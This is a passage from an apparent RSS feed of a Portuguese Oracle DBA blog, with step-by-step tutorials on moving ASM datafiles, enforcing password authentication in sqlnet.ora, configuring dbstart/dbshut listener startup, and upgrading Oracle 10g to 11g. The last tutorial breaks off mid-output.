https://oraclehome.com.br/2013/08/21/instalando-produto-oracle-database-12c-em-oracle-linux-non-rac/feed/ 0
Copiando Arquivo de Dados pelo ASMCMD no Banco de Dados Oracle 11g https://oraclehome.com.br/2013/04/02/copiando-arquivo-de-dados-pel-asmcmd-no-banco-de-dados-oracle-11g/ https://oraclehome.com.br/2013/04/02/copiando-arquivo-de-dados-pel-asmcmd-no-banco-de-dados-oracle-11g/#respond Tue, 02 Apr 2013 19:12:55 +0000 https://oraclehome.com.br/?p=3451 Este artigo tem como objetivo demonstrar como copiar um arquivo de dados (datafile) de um Disco de Grupo para outro no Banco de Dados Oracle 11g.

Segue a demonstração abaixo.

Vamos entrar no banco de dados.

[oracle@linux11gasmdi ~]$ sqlplus sys/******** as sysdba

SQL*Plus: Release 11.2.0.3.0 Production on Tue Apr 2 17:09:57 2013

Copyright (c) 1982, 2011, Oracle.  All rights reserved.

Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - Production
With the Partitioning, Automatic Storage Management, OLAP, Data Mining
and Real Application Testing options

Vamos verificar as tablespaces.

SQL> select * from v$tablespace;

       TS# NAME                           INC BIG FLA ENC
---------- ------------------------------ --- --- --- ---
         0 SYSTEM                         YES NO  YES
         1 SYSAUX                         YES NO  YES
         2 UNDOTBS1                       YES NO  YES
         4 USERS                          YES NO  YES
         3 TEMP                           NO  NO  YES
         6 EXAMPLE                        YES NO  YES

6 rows selected.

SQL>

Vamos verificar os datafiles.

SQL> col file_name for a45
SQL> set lines 500
SQL> select file_name from dba_data_files;

FILE_NAME
---------------------------------------------
+DGDATA/orcl/users01.dbf
+DGDATA/orcl/undotbs01.dbf
+DGDATA/orcl/sysaux01.dbf
+DGDATA/orcl/system01.dbf
+DGDATA/orcl/example01.dbf
SQL>

Vamos verificar os Discos de Grupos.

SQL> select name from v$asm_diskgroup;

NAME
------------------------------
DGARCH
DGDATA
DGREDOA
DGREDOB
SQL>

Vamos copiar um datafile da Tablespace EXAMPLE.
Vamos colocar a tablespace neste momento em offline.

SQL> alter tablespace EXAMPLE offline;

Tablespace altered.

SQL> !
[oracle@linux11gasmdi ~]$

Vamos carregar as variáveis de ambiente do Grid. Pode-se exportar o ORACLE_HOME que está no arquivo oratab “/etc/oratab” do Grid (+ASM) ou se for RAC (+ASMn) aonde “n” é o número do node ou carregar um arquivo que já está com as variáveis de ambiente para o Grid.
Vou mostrar primeiramente com o oratab.

[oracle@linux11gasmdi ~]$ cat /etc/oratab
#Backup file is  /u01/app/oracle/product/11.2.0/grid/srvm/admin/oratab.bak.linux11gasmdi line added by Agent
#

# This file is used by ORACLE utilities.  It is created by root.sh
# and updated by either Database Configuration Assistant while creating
# a database or ASM Configuration Assistant while creating ASM instance.

# A colon, ':', is used as the field terminator.  A new line terminates
# the entry.  Lines beginning with a pound sign, '#', are comments.
#
# Entries are of the form:
#   $ORACLE_SID:$ORACLE_HOME:<N|Y>:
#
# The first and second fields are the system identifier and home
# directory of the database respectively.  The third filed indicates
# to the dbstart utility that the database should , "Y", or should not,
# "N", be brought up at system boot time.
#
# Multiple entries with the same $ORACLE_SID are not allowed.
#
#
+ASM:/u01/app/oracle/product/11.2.0/grid:N
orcl:/u01/app/oracle/product/11.2.0/db_1:N         # line added by Agent
[oracle@linux11gasmdi ~]$ export ORACLE_HOME=/u01/app/oracle/product/11.2.0/grid
[oracle@linux11gasmdi ~]$ export ORACLE_SID=+ASM

Com o arquivo já com as variáveis de ambiente do grid, vamos entrar no asm e realizar a copia do datafile para outro disco de grupo.

[oracle@linux11gasmdi ~]$ . /etc/grid.sh
[oracle@linux11gasmdi ~]$ asmcmd
ASMCMD> ls -l +DGDATA/orcl/example01.dbf
Type      Redund  Striped  Time             Sys  Name
                                            N    example01.dbf => +DGDATA/ORCL/DATAFILE/UNKNOWN.262.811462599
ASMCMD> cp +DGDATA/orcl/example01.dbf +DGARCH/orcl/example01.dbf
copying +DGDATA/orcl/example01.dbf -> +DGARCH/orcl/example01.dbf
ASMCMD> rm +DGDATA/orcl/example01.dbf
ASMCMD> exit
[oracle@linux11gasmdi ~]$ exit
exit

Vamos alterar o datafile no controlfile para que o mesmo reconheça o novo destino do datafile e colocar a tablespace online.

SQL> ALTER DATABASE RENAME FILE '+DGDATA/orcl/example01.dbf' TO '+DGARCH/orcl/example01.dbf';

Database altered.

SQL> alter tablespace EXAMPLE online;

Tablespace altered.

SQL> exit
Disconnected from Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - Production
With the Partitioning, Automatic Storage Management, OLAP, Data Mining
and Real Application Testing options
[oracle@linux11gasmdi ~]$

Pronto realizamos a copia do datafile para outro disco de grupo.
Lembrando que para este procedimento seja realizado apenas no 11g, na versão 10g deve-se utilizar a ferramenta RMAN.

]]>
https://oraclehome.com.br/2013/04/02/copiando-arquivo-de-dados-pel-asmcmd-no-banco-de-dados-oracle-11g/feed/ 0
Autenticação Obrigatória com Login e Senha no Oracle https://oraclehome.com.br/2013/02/15/autenticacao-obrigatoria-com-login-e-senha-no-oracle/ https://oraclehome.com.br/2013/02/15/autenticacao-obrigatoria-com-login-e-senha-no-oracle/#respond Fri, 15 Feb 2013 10:55:30 +0000 https://oraclehome.com.br/?p=3386 Este artigo tem como objetivo forçar a autenticação no banco de dados Oracle com login e senha inclusive do usuário SYS quando o acesso é através do SO ou autenticação por arquivo de senha.

Por motivos de segurança, um cliente uma vez me pediu que todos os usuários do banco de dados conectassem com login e senha.
Podemos solucionar este conforme abaixo.

Vamos conectar no banco de dados através do SQLPLUS.

oracle=dbprod-> sqlplus

SQL*Plus: Release 11.2.0.3.0 Production on Wed Feb 13 23:09:23 2013

Copyright (c) 1982, 2011, Oracle.  All rights reserved.

Enter user-name: / as sysdba

Connected to:
Oracle Database 11g Release 11.2.0.3.0 - Production

SQL> exit
Disconnected from Oracle Database 11g Release 11.2.0.3.0 - Production
oracle=dbprod->

Conforme acima, podemos perceber que é possível conectar com o usuário sys sem senha.
Para segurarmos que os usuários conectarão apenas com login e senha, devemos ajustar um parâmetro no sqlnet.ora.
Vamos acessar o diretório “$ORACLE_HOME/network/admin/”.

oracle=dbprod-> cd /oraprd01/app/oracle/product/11.2.0/db_2/network/admin/
oracle=dbprod-> ls -ltr
total 32
-rw-r--r-- 1 oracle oinstall  205 May 11  2011 shrept.lst
drwxr-xr-x 2 oracle oinstall 4096 Sep 26 00:37 samples
-rw-r--r-- 1 oracle oinstall  400 Sep 26 00:47 listener.ora.bkp
-rw-r--r-- 1 oracle oinstall  218 Sep 26 00:47 sqlnet.ora.bkp
-rw-r----- 1 oracle oinstall  353 Sep 26 01:33 tnsnames.ora.bkp
-rw-r----- 1 oracle oinstall  353 Sep 26 01:42 tnsnames.ora
-rw-r--r-- 1 oracle oinstall  239 Sep 26 01:42 sqlnet.ora
-rw-r--r-- 1 oracle oinstall  576 Sep 26 01:55 listener.ora
oracle=dbprod->

Vamos visualizar o conteúdo do arquivo sqlnet.ora.

oracle=dbprod-> cat sqlnet.ora
# sqlnet.ora Network Configuration File: /oraprd01/app/oracle/product/11.2.0/db_1/network/admin/sqlnet.ora
# Generated by Oracle configuration tools.

NAMES.DIRECTORY_PATH= (TNSNAMES)

ADR_BASE = /oraprd01/app/oracle
#DIAG_ADR_ENABLED=OFF
oracle=dbprod->

No sqlnet.ora basta adicionarmos o parâmetro SQLNET.AUTHENTICATION_SERVICES= (NONE) conforme abaixo.

oracle=dbprod-> vi sqlnet.ora
oracle=dbprod-> cat sqlnet.ora
# sqlnet.ora Network Configuration File: /oraprd01/app/oracle/product/11.2.0/db_1/network/admin/sqlnet.ora
# Generated by Oracle configuration tools.

NAMES.DIRECTORY_PATH= (TNSNAMES)
SQLNET.AUTHENTICATION_SERVICES= (NONE)
ADR_BASE = /oraprd01/app/oracle
#DIAG_ADR_ENABLED=OFF
oracle=dbprod-> 

Vamos tentar conectar novamente no banco de dados Oracle após o ajuste.

oracle=dbprod-> sqlplus

SQL*Plus: Release 11.2.0.3.0 Production on Wed Feb 13 23:13:35 2013

Copyright (c) 1982, 2011, Oracle.  All rights reserved.

Enter user-name: / as sysdba
ERROR:
ORA-01031: insufficient privileges

Podemos perceber conforme acima que ocorreu erro ao tentar conectar.
Vamos conectar com o login e senha.

Enter user-name: sys/************** as sysdba

Connected to:
Oracle Database 11g Release 11.2.0.3.0 - Production

SQL> disc
Disconnected from Oracle Database 11g Release 11.2.0.3.0 - Production
SQL> exit
oracle=dbprod->

Conforme acima com o ajuste todos os usuários deverão acessar com o login e senha obrigatoriamente.
Mais informações sobre este parâmetro e outros do sqlnet.ora acesse Documentação Oracle.

]]>
https://oraclehome.com.br/2013/02/15/autenticacao-obrigatoria-com-login-e-senha-no-oracle/feed/ 0
Setar o ORACLE_HOME_LISTNER https://oraclehome.com.br/2013/02/06/setar-o-oracle_home_listner/ https://oraclehome.com.br/2013/02/06/setar-o-oracle_home_listner/#respond Wed, 06 Feb 2013 17:05:37 +0000 https://oraclehome.com.br/?p=3301 Este artigo tem como objetivo Setar o ORACLE_HOME_LISTNER para iniciar e baixar o listener e o banco de dados Oracle através dos arquivos “dbstart” e “dbshut” que são encontrados no diretório bin/ do ORACLE_HOME.

Conforme abaixo, vamos realizar o procedimento desde o início.
Vamos verificar o nosso ORACLE_HOME

oracle=dbprod-> echo $ORACLE_HOME
/oraprd01/app/oracle/product/11.2.0/db_2
oracle=dbprod->

Vamos configurar um arquivo “sh” para usarmos os dois arquivos.
Para usar o arquivo dbstart para iniciar o Listener e o Banco de Dados Automaticamente, vou colocar o nome de “startdb.sh”.
Para usar o arquivo dbshut para baixar o Listener e o Banco de Dados Automaticamente, vou colocar o nome de “shutdb.sh”.

oracle=dbprod-> vi startdb.sh 
oracle=dbprod-> vi shutdb.sh

Vamos visualizar os arquivos.

oracle=dbprod-> cat startdb.sh
/oraprd01/app/oracle/product/11.2.0/db_2/bin/dbstart
oracle=dbprod-> cat shutdb.sh
/oraprd01/app/oracle/product/11.2.0/db_2/bin/dbshut
oracle=dbprod->

Vamos então iniciar o banco de dados com o arquivo “startdb.sh”.

oracle=dbprod-> . startdb.sh
ORACLE_HOME_LISTNER is not SET, unable to auto-start Oracle Net Listener
Usage: /oraprd01/app/oracle/product/11.2.0/db_2/bin/dbstart ORACLE_HOME
Processing Database instance "dbprod": log file /oraprd01/app/oracle/product/11.2.0/db_2/startup.log
oracle=dbprod->

Conforme acima, houve o aviso de que o ORACLE_HOME_LISTNER deve ser ajustado para iniciar o Listener. Neste caso deveríamos iniciar o Listener Manualmente com o comandos “LSNRCTL”.

Vamos então desligar o banco de dados com o arquivo “shutdb.sh”.

oracle=dbprod-> . shutdb.sh
ORACLE_HOME_LISTNER is not SET, unable to auto-stop Oracle Net Listener
Usage: /oraprd01/app/oracle/product/11.2.0/db_2/bin/dbshut ORACLE_HOME
Processing Database instance "dbprod": log file /oraprd01/app/oracle/product/11.2.0/db_2/shutdown.log
oracle=dbprod->

Para ajustar o ORACLE_HOME_LISTNER, basta colocar o caminho do ORACLE_HOME na frente da chamada dos arquivos “dbstart” e “dbshut”, na qual, o ORACLE_HOME será passado como parâmetro para estes aquivos.
Vamos editar nossos arquivos “sh”.

oracle=dbprod-> vi startdb.sh 
oracle=dbprod-> vi shutdb.sh
oracle=dbprod-> cat startdb.sh
/oraprd01/app/oracle/product/11.2.0/db_2/bin/dbstart $ORACLE_HOME
oracle=dbprod-> cat shutdb.sh
/oraprd01/app/oracle/product/11.2.0/db_2/bin/dbshut $ORACLE_HOME
oracle=dbprod->

Vamos então iniciar o banco de dados com o arquivo “startdb.sh” e verificar se o Listener e o Banco de Dados estão Executando.

oracle=dbprod-> . startdb.sh
Processing Database instance "dbprod": log file /oraprd01/app/oracle/product/11.2.0/db_2/startup.log
oracle=dbprod-> ps -ef | grep pmon
oracle    3423     1  0 17:12 ?        00:00:00 ora_pmon_dbprod
oracle    3623  2843  0 17:12 pts/0    00:00:00 grep pmon
oracle=dbprod-> lsnrctl status

LSNRCTL for Linux: Version 11.2.0.3.0 - Production on 22-JAN-2013 17:12:43

Copyright (c) 1991, 2011, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=oracle1011gserver.localdomain)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 11.2.0.3.0 - Production
Start Date                22-JAN-2013 17:12:22
Uptime                    0 days 0 hr. 0 min. 20 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /oraprd01/app/oracle/product/11.2.0/db_2/network/admin/listener.ora
Listener Log File         /oraprd01/app/oracle/diag/tnslsnr/oracle1011gserver/listener/alert/log.xml
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=oracle1011gserver.localdomain)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC0)))
Services Summary...
Service "dbprod" has 2 instance(s).
  Instance "dbprod", status UNKNOWN, has 1 handler(s) for this service...
  Instance "dbprod", status READY, has 1 handler(s) for this service...
Service "dbprodXDB" has 1 instance(s).
  Instance "dbprod", status READY, has 1 handler(s) for this service...
The command completed successfully
oracle=dbprod->

Vamos então desligar o banco de dados com o arquivo “shutdb.sh” e verificar se o Listener e o Banco de Dados estão Executando.

oracle=dbprod-> . shutdb.sh
Processing Database instance "dbprod": log file /oraprd01/app/oracle/product/11.2.0/db_2/shutdown.log
oracle=dbprod-> ps -ef | grep pmon
oracle    4631  2843  0 17:21 pts/0    00:00:00 grep pmon
oracle=dbprod-> lsnrctl status

LSNRCTL for Linux: Version 11.2.0.3.0 - Production on 22-JAN-2013 17:13:56

Copyright (c) 1991, 2011, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=oracle1011gserver.localdomain)(PORT=1521)))
TNS-12541: TNS:no listener
 TNS-12560: TNS:protocol adapter error
  TNS-00511: No listener
   Linux Error: 111: Connection refused
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC0)))
TNS-12541: TNS:no listener
 TNS-12560: TNS:protocol adapter error
  TNS-00511: No listener
   Linux Error: 2: No such file or directory
oracle=dbprod->

Outra forma que pode ser usado e sem fazer o script “sh”, e executar o comando direto conforme abaixo:

oracle=dbprod-> /oraprd01/app/oracle/product/11.2.0/db_2/bin/dbstart $ORACLE_HOME
Processing Database instance "dbprod": log file /oraprd01/app/oracle/product/11.2.0/db_2/startup.log
oracle=dbprod-> /oraprd01/app/oracle/product/11.2.0/db_2/bin/dbshut $ORACLE_HOME
Processing Database instance "dbprod": log file /oraprd01/app/oracle/product/11.2.0/db_2/shutdown.log
oracle=dbprod->

Pronto ajustamos o ORACLE_HOME_LISTNER para iniciar o Listener automaticamente pelo arquivo “dbstart” e baixarmos o mesmo com “dbshut”.

]]>
https://oraclehome.com.br/2013/02/06/setar-o-oracle_home_listner/feed/ 0
Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non-RAC. https://oraclehome.com.br/2012/09/27/migrando-banco-de-dados-oracle-10g-para-11g-com-oui-oracle-universal-installer-non-rac/ https://oraclehome.com.br/2012/09/27/migrando-banco-de-dados-oracle-10g-para-11g-com-oui-oracle-universal-installer-non-rac/#respond Thu, 27 Sep 2012 11:00:06 +0000 https://oraclehome.com.br/?p=2880 Este artigo tem como objetivo realizar o upgrade do Banco de Dados Oracle 10g (10.2.0.5) para 11g (11.2.0.1) via OUI (Oracle Universal Installer).

Porque migrar para uma nova versão?
Tecnologia Nova e Bugs fixados que ocorrem na versão 10g.

Vamos iniciar a nossa atualização de versão do Banco de Dados Oracle.

Vamos verificar a nossas variáveis de ambiente.

oracle=dbprod-> cat /etc/ora_ambiente.sh
TMP=/tmp; export TMP
TMPDIR=$TMP; export TMPDIR

ORACLE_HOSTNAME=oracle1011gserver.localdomain; export ORACLE_HOSTNAME
ORACLE_UNQNAME=dbprod; export ORACLE_UNQNAME
ORACLE_BASE=/oraprd01/app/oracle; export ORACLE_BASE
ORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1; export ORACLE_HOME
ORACLE_SID=dbprod; export ORACLE_SID
ORACLE_TERM=xterm; export ORACLE_TERM
export NLS_LANG=AMERICAN_AMERICA.WE8ISO8859P1
PATH=$ORACLE_HOME/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/opt/dell/mdstoragesoftware/mdstoragemanager/jre/bin:$ORACLE_HOME/OPatch:$PATH; export PATH

LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export LD_LIBRARY_PATH
CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib; export CLASSPATH

export PS1="oracle=$ORACLE_SID-> "
oracle=dbprod-> echo $ORACLE_HOME
/oraprd01/app/oracle/product/10.2.0/db_1
oracle=dbprod->

Vamos criar um novo ORACLE_HOME para o produto da Versão 11g.

oracle=dbprod-> mkdir -p /oraprd01/app/oracle/product/11.2.0/db_1

Após criado o diretório para a ORACLE_HOME para a versão 11g, copiar o software Oracle para o servidor.
Vamos criar novas variáveis de ambiente para a versão 11g do Banco de Dados. Com o usuário “root” vamos criar o novo arquivo para o .bash_profile do usuário “oracle”.

oracle=dbprod-> su -
Password:
[root@oracle1011gserver ~]# vi /etc/ora_ambiente11gr2.sh
[root@oracle1011gserver ~]# chmod 755 /etc/ora_ambiente11gr2.sh
[root@oracle1011gserver ~]# exit
logout
oracle=dbprod-> cat /etc/ora_ambiente11gr2.sh
TMP=/tmp; export TMP
TMPDIR=$TMP; export TMPDIR

ORACLE_HOSTNAME=oracle1011gserver.localdomain; export ORACLE_HOSTNAME
ORACLE_UNQNAME=dbprod; export ORACLE_UNQNAME
ORACLE_BASE=/oraprd01/app/oracle; export ORACLE_BASE
ORACLE_HOME=$ORACLE_BASE/product/11.2.0/db_1; export ORACLE_HOME
ORACLE_SID=dbprod; export ORACLE_SID
ORACLE_TERM=xterm; export ORACLE_TERM
export NLS_LANG=AMERICAN_AMERICA.WE8ISO8859P1
PATH=$ORACLE_HOME/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:/opt/dell/mdstoragesoftware/mdstoragemanager/jre/bin:$ORACLE_HOME/OPatch:$PATH; export PATH

LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export LD_LIBRARY_PATH
CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/rdbms/jlib; export CLASSPATH

export PS1="oracle=$ORACLE_SID-> "
oracle=dbprod->

Vamos editar o .bash_profile para o usuário “oracle” com as novas variáveis de ambientes.

oracle=dbprod-> vi .bash_profile
oracle=dbprod-> cat .bash_profile
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
        . ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

export PATH

. /etc/ora_ambiente11gr2.sh
oracle=dbprod-> . /etc/ora_ambiente11gr2.sh
oracle=dbprod-> echo $ORACLE_HOME
/oraprd01/app/oracle/product/11.2.0/db_1
oracle=dbprod->

Vamos atualizar os pacotes do Linux 5.7 para a versão 11g.

oracle=dbprod-> su -
Password:
[root@oracle1011gserver ~]# cd /media/OL5.7\ i386\ dvd\ 20110728/Server/
[root@oracle1011gserver Server]#
rpm -Uvh binutils-2.*
rpm -Uvh compat-libstdc++-33*
rpm -Uvh compat-libstdc++-33*.i386.rpm
rpm -Uvh elfutils-libelf*
rpm -Uvh gcc-4.*
rpm -Uvh gcc-c++-4.*
rpm -Uvh glibc-2.*
rpm -Uvh glibc-common-2.*
rpm -Uvh glibc-devel-2.*
rpm -Uvh glibc-headers-2.*
rpm -Uvh ksh*
rpm -Uvh libaio-0.*
rpm -Uvh libaio-devel-0.*
rpm -Uvh libgomp-4.*
rpm -Uvh libgcc-4.*
rpm -Uvh libstdc++-4.*
rpm -Uvh libstdc++-devel-4.*
rpm -Uvh make-3.*
rpm -Uvh sysstat-7.*
rpm -Uvh unixODBC-2.*
rpm -Uvh unixODBC-devel-2.*
rpm -Uvh numactl-devel-*warning: binutils-2.17.50.0.6-14.el5.i386.rpm: Header V3 DSA signature: NOKEY, key ID 1e5e0159
Preparing...                ########################################### [100%]
        package binutils-2.17.50.0.6-14.el5.i386 is already installed
[root@oracle1011gserver Server]# rpm -Uvh compat-libstdc++-33*
warning: compat-libstdc++-33-3.2.3-61.i386.rpm: Header V3 DSA signature: NOKEY, key ID 1e5e0159
Preparing...                ########################################### [100%]
        package compat-libstdc++-33-3.2.3-61.i386 is already installed
[root@oracle1011gserver Server]# rpm -Uvh compat-libstdc++-33*.i386.rpm
warning: compat-libstdc++-33-3.2.3-61.i386.rpm: Header V3 DSA signature: NOKEY, key ID 1e5e0159
Preparing...                ########################################### [100%]
        package compat-libstdc++-33-3.2.3-61.i386 is already installed
[root@oracle1011gserver Server]# rpm -Uvh elfutils-libelf*
warning: elfutils-libelf-0.137-3.el5.i386.rpm: Header V3 DSA signature: NOKEY, key ID 1e5e0159
Preparing...                ########################################### [100%]
        package elfutils-libelf-0.137-3.el5.i386 is already installed
        package elfutils-libelf-devel-static-0.137-3.el5.i386 is already installed
        package elfutils-libelf-devel-0.137-3.el5.i386 is already installed
[root@oracle1011gserver Server]# rpm -Uvh gcc-4.*
warning: gcc-4.1.2-51.el5.i386.rpm: Header V3 DSA signature: NOKEY, key ID 1e5e0159
Preparing...                ########################################### [100%]
        package gcc-4.1.2-51.el5.i386 is already installed
[root@oracle1011gserver Server]# rpm -Uvh gcc-c++-4.*
warning: gcc-c++-4.1.2-51.el5.i386.rpm: Header V3 DSA signature: NOKEY, key ID 1e5e0159
Preparing...                ########################################### [100%]
        package gcc-c++-4.1.2-51.el5.i386 is already installed
[root@oracle1011gserver Server]# rpm -Uvh glibc-2.*
warning: glibc-2.5-65.i386.rpm: Header V3 DSA signature: NOKEY, key ID 1e5e0159
warning: package glibc = 2.5-65 was already added, skipping glibc < 2.5-65
Preparing...                ########################################### [100%]
        .
		.
		.
[root@oracle1011gserver Server]#

Com os serviços do Banco de Dados já iniciados, vamos realizar o upgrade do Banco de Dados executando o OUI num Terminal com o usuário “oracle”.

migrarwordpress1 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 1 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 2 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 3 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 4 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 5 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 6 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 7 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 8 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 10 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 11 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 12 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 13 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 14 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 15 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 16 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 18 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 17 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 19 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 20 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 21 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 22 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 23 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 24 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 25 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 26 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 27 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 28 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 29 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 30 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 31 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 32 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 33 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 34 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 35 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 36 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 37 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC. 38 150x150 Migrando Banco de Dados Oracle 10g para 11g com OUI (Oracle Universal Installer) non RAC.

Após o upgrade da versão do Banco de Dados Oracle, vamos executar o script “root.sh” com o usuário “root”.

[root@oracle1011gserver Server]# /oraprd01/app/oracle/product/11.2.0/db_1/root.sh
Running Oracle 11g root.sh script...

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /oraprd01/app/oracle/product/11.2.0/db_1

Enter the full pathname of the local bin directory: [/usr/local/bin]:
The file "dbhome" already exists in /usr/local/bin.  Overwrite it? (y/n)
[n]: y
   Copying dbhome to /usr/local/bin ...
The file "oraenv" already exists in /usr/local/bin.  Overwrite it? (y/n)
[n]: y
   Copying oraenv to /usr/local/bin ...
The file "coraenv" already exists in /usr/local/bin.  Overwrite it? (y/n)
[n]: y
   Copying coraenv to /usr/local/bin ...

Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.
Finished product-specific root actions.
[root@oracle1011gserver Server]#

Conforme abaixo ainda estamos o listener da versão 10g.

oracle=dbprod-> lsnrctl status

LSNRCTL for Linux: Version 11.2.0.1.0 - Production on 04-AUG-2012 03:04:58

Copyright (c) 1991, 2009, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=oracle1011gserver.localdomain)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias                     LISTENER
Version                   TNSLSNR for Linux: Version 10.2.0.5.0 - Production
Start Date                03-AUG-2012 23:45:19
Uptime                    0 days 3 hr. 19 min. 39 sec
Trace Level               off
Security                  ON: Local OS Authentication
SNMP                      OFF
Listener Parameter File   /oraprd01/app/oracle/product/10.2.0/db_1/network/admin/listener.ora
Listener Log File         /oraprd01/app/oracle/product/10.2.0/db_1/network/log/listener.log
Listening Endpoints Summary...
  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=oracle1011gserver.localdomain)(PORT=1521)))
  (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC0)))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
  Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "dbprod" has 2 instance(s).
  Instance "dbprod", status UNKNOWN, has 1 handler(s) for this service...
  Instance "dbprod", status READY, has 1 handler(s) for this service...
Service "dbprodXDB" has 1 instance(s).
  Instance "dbprod", status READY, has 1 handler(s) for this service...
The command completed successfully
oracle=dbprod->

Vamos verificar a versão do Banco de Dados após a atualização da Versão e alterar o parâmetro “compatible” para versão atualizada.

oracle=dbprod-> sqlplus sys/********* as sysdba

SQL*Plus: Release 11.2.0.1.0 Production on Sat Aug 4 03:06:09 2012

Copyright (c) 1982, 2009, Oracle.  All rights reserved.

Connected to:
Oracle Database 11g Release 11.2.0.1.0 - Production

SQL> show parameter compatible

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------------
compatible                           string      10.2.0.1.0
SQL> set lines 155
SQL> col COMP_NAME for a35
SQL> select VERSION, STATUS, MODIFIED, STARTUP, COMP_NAME from dba_registry;

VERSION                        STATUS      MODIFIED             STARTUP  COMP_NAME
------------------------------ ----------- -------------------- -------- -----------------------------------
11.2.0.1.0                     VALID       04-AUG-2012 02:10:32          Oracle Enterprise Manager
11.2.0.1.0                     VALID       04-AUG-2012 02:45:25          Oracle Multimedia
11.2.0.1.0                     VALID       04-AUG-2012 02:45:23          Oracle XML Database
